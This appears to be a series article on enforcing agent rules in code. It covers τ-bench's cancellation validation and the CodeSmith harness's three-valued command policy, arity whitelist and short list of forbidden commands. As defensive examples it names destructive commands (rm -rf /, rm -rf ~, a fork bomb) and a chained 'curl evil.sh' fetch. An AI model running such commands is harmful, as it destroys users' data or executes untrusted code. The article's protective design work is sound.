CodeSmith Meta-Ability: Business Rules as a Goalkeeper for Agents

Meta-Ability: Write Business Rules as a Goalkeeper

Source version of CodeSmith: v0.5.0 (commit 3a74c82f). All paths are relative to the repo root; line numbers refer to this version.
Intended audience: readers who have written a "Notes" section into a prompt, then stood by helplessly as the model ignored it.
Series index: README.

Article 12 was about code that thinks for the model — the offensive face of meta-ability. This installment is about the defensive face: when code is used to express business rules, it stops being a "tool for solving problems" and becomes a "constraint that cannot be bypassed." Two bodies of real code in CodeSmith own this job — execpolicy and command_safety — and this article takes their source apart.

Natural-Language Rules Are No Rules at All

Business rules, procedures, decision logic — described in natural language alone, they tend to be riddled with ambiguity. What counts as a "reasonable refund request"? "Refundable within 7 days of purchase" looks clear enough — but are those 7 calendar days or business days? Is "purchase" the moment the order was placed, or the moment it shipped?

For humans, ambiguity has a fallback: experience and common sense. For an agent, ambiguity is a vulnerability. The model's grasp of a rule is a probability distribution; prompt injection can smuggle counterfeits into that distribution, and a long conversation dilutes the rule's weight. To a probabilistic system, a rule written into the prompt is a suggestion, not a law. Code is different: unambiguous and executable — it either runs or it throws. Hence the core principle of harness engineering: encode your constraints; do not document them.

But "encode" does not mean outlawing the natural-language rules — there are three jobs they do that code cannot replace:

1. The model must explain the policy to the user on the basis of the natural-language rules ("why this booking cannot be refunded");
2. It relies on them to find workarounds — the cancellation policy has slammed shut, but rebooking still has a door open, and the imagination for that kind of "legal detour" comes from understanding the policy, not from validation code;
3. The preliminary judgment before a tool call (this one almost certainly won't pass — don't waste the call) also happens at the prompt layer.

So the mature recipe combines the two: natural-language rules in the system prompt, for understanding and communication; code-enforced validation at the critical decision points, as a goalkeeper that cannot be bypassed. The correct reading of this article's title is "write the rules as a goalkeeper" — what goes into code is the goal, not the entire policy manual.

A Textbook Example: the τ-bench Cancellation Policy

τ-bench (a benchmark that simulates airline and e-commerce customer service to measure how well an agent complies with policy) hides the best teaching material in its airline cancellation tool. The implementation below is adapted from the policy logic of the official τ-bench repository (the original is English; rearranged here with the meaning intact):

def cancel_reservation(
    reservation_id: str,
    expected_cabin_class: str = None,    # optional: for the model's own pre-check
    expected_has_insurance: bool = None  # optional: for the model's own pre-check
) -> dict:
    """
    Cancellation policy (enforced server-side against database ground truth):
    - Rule 2: all reservations can be cancelled within 24 hours of booking
    - Rule 4: business flights can always be cancelled
    - Rule 5: basic economy or economy flights can be cancelled only if travel insurance was bought
    ...
    """
    # Every policy fact is read from the database; model-reported values are never trusted
    r = db.get_reservation(reservation_id)
    now = server_clock.now()  # the server-side clock, not one supplied by the model

    if expected_cabin_class is not None and expected_cabin_class != r.cabin_class:
        log_mismatch(...)  # reported value disagrees with ground truth → audit alert

    hours_since_booking = (now - r.booking_time).total_seconds() / 3600
    if hours_since_booking <= 24:
        execute_cancellation(reservation_id)
        return {"success": True, "reason": "Cancelled within 24-hour window"}
    if r.cabin_class == "business":
        execute_cancellation(reservation_id)
        return {"success": True, "reason": "Business class cancellation"}
    # ... (the full five rules live in the official τ-bench repo; the two omitted here do not affect understanding)

This one function does two things at once, and the division of labor between them is precisely its most exquisite part:

Layer one: the parameters as a thinking checklist. The tool description spells out the complete policy and asks the model to pull up the reservation and check it item by item before calling; the expected_* parameters make the model write its reasoning down explicitly — to fill in expected_cabin_class, it must first read the reservation details. When the model finds an economy booking with no insurance attached, it will very likely notice Rule 5 while preparing the call and never issue it at all, instead explaining the policy to the user directly. This layer steers the thinking and cuts wasted calls, but it carries no security responsibility — a self-reported value is a statement, not a fact.

Layer two: server-side ground-truth validation is the goalkeeper. Cabin class, insurance, booking time — all of it comes from the database, and the current time comes from the server clock; not a single policy fact is taken from a model-reported parameter. This is not surplus caution: the model can hallucinate, and it can be steered by injection. The last line of defense must be built on data the model cannot forge. The result of comparing reported values against ground truth goes into the alert log, retired from "security mechanism" into "audit signal" — one parameter, two payoffs.

CodeSmith's Isomorphic Implementation

This "rules as code" business is no metaphor inside CodeSmith — it is code that runs every turn of every day. Three places to look.

The Verdict Is Three-Valued, Not Boolean

crates/agent-runtime/src/execpolicy/decision.rs:9:

pub enum Decision {
    /// Command may run without further approval.
    Allow,
    /// Request explicit user approval; rejected outright when
    /// running with `approval_policy="never"`.
    Prompt,
    /// Command is blocked without further consideration.
    Forbidden,
}

Plain-English translation: the world of commands is not a two-notch "safe/dangerous" dial but a three-notch "allow / ask a human / forbid" — the rule engine delivers the verdict, and the human keeps the final veto. The policy proper (execpolicy/policy.rs) is a rule table indexed by program name (a MultiMap<String, RuleRef>); prefix rules, wildcard tokens, and heuristic fallbacks rule in sequence.

The arity table: one invariant to keep every whitelist in line

crates/agent-runtime/src/command_safety.rs holds an arity dictionary, COMMAND_ARITY, with 189 entries, pinning down the canonical prefix of every command. The central invariant sits in a comment (command_safety.rs:37):

auto_allow = ["git status"] must match `git status -s`,
`git status --porcelain`, etc., but not `git push`.

In other words: flags do not count toward the prefix (git status -s normalizes to git status, which hits the whitelist), while positional arguments do (git push is a different prefix, and misses). The whitelist matches an action, not a string prefix — with naive prefix string matching, a git status whitelist would wave git status; rm -rf / straight through. Compound commands are split on &&/;/| and judged segment by segment; every segment must hit a rule before the whole command is allowed, and a cargo * allowance can no longer authorize cargo build && curl evil.sh (the third note in Article 20). The file runs 1952 lines in total, with dedicated unit tests (auto_allow_git_status_matches_variants and friends) locking this invariant down.

Five Dangerous Patterns, No More: A Goalkeeper That Dares to Keep the List Short

The most flavorful of all is DANGEROUS_PATTERNS (command_safety.rs:555) — five entries in the entire file: rm -rf /, rm -rf /*, rm -rf ~, rm -rf $HOME, and the fork bomb. A comment explains why the list is this short:

Codex flags only explicit `rm -f*` / `rm -rf` patterns. We match
that restraint — aggressive patterns for shutdown, reboot, killall,
docker rm, chown, etc. have been removed because they generate
unnecessary approval prompts for routine operations the user can
still veto via the approval dialog.

Set up the straw man first: intuition says a goalkeeper should "block now, apologize later" — put shutdown, killall, docker rm, all of them, on the list. CodeSmith's answer runs the other way: those patterns would manufacture endless approval popups for routine operations; the user gets annoyed, flips into YOLO mode, and the goalkeeper is laid off entirely. So only catastrophic shapes the user would have no time to veto (wiping the root directory, the fork bomb) are hard-coded as forbidden; everything else is handed to the Prompt tier for an on-the-spot ruling by the user. What's more, those five are checked by literal_dangerous_pattern_reason (command_safety.rs:576), independent of the main analysis pipeline — a fork bomb contains ; and &, which the main pipeline's chaining branch would short-circuit into "needs approval"; the independent check guarantees that a catastrophic shape gets flagged red no matter how deeply it is nested.

The Triple Safeguard

With that, the complete line of defense is structurally isomorphic to τ-bench's:

1. Natural-language rules in the system prompt / tool descriptions, helping the model understand and explain;
2. Parameter and schema design as a checklist (arity normalization, the self-reported expected_* parameters), steering an explicit check before the call;
3. Code-enforced validation as the goalkeeper of last resort — execpolicy's three-valued verdict plus database ground truth (τ-bench) or normalized command prefixes (CodeSmith), all of it built on data the model cannot forge.

The first two layers make mistakes rarer; the third makes sure a mistake never turns into irreversible loss. The core value of code-enforced validation is not saving tokens — it is stopping the likes of rm -rf, the things that must not happen even once.

Summary

1. To an agent, natural-language rules are suggestions, not laws; ambiguity is a vulnerability;
2. τ-bench's design: parameters as a checklist, server-side ground truth as the judge, self-reported values for audit only;
3. CodeSmith's isomorphic implementation: the three-valued Decision, the arity invariant, five catastrophic patterns plus an independent check;
4. A goalkeeper must practice restraint: over-blocking breeds approval fatigue, and approval fatigue breeds YOLO — this is the other half of this series's "distrust, written down clearly": distrust the model, but do not treat the user as a criminal either.

The trade-off: the arity dictionary must be maintained in step with the ecosystem (every new CLI needs an entry), and changes to the rule table must be kept in sync with the rules in the prompt — that is the standing tax on constraints-as-code, and it is still far cheaper than one accidental deletion.

With the goalkeeper in place, meta-ability's next lap turns this machinery back on the agent itself — repairing the Agent with code, building Agents with code.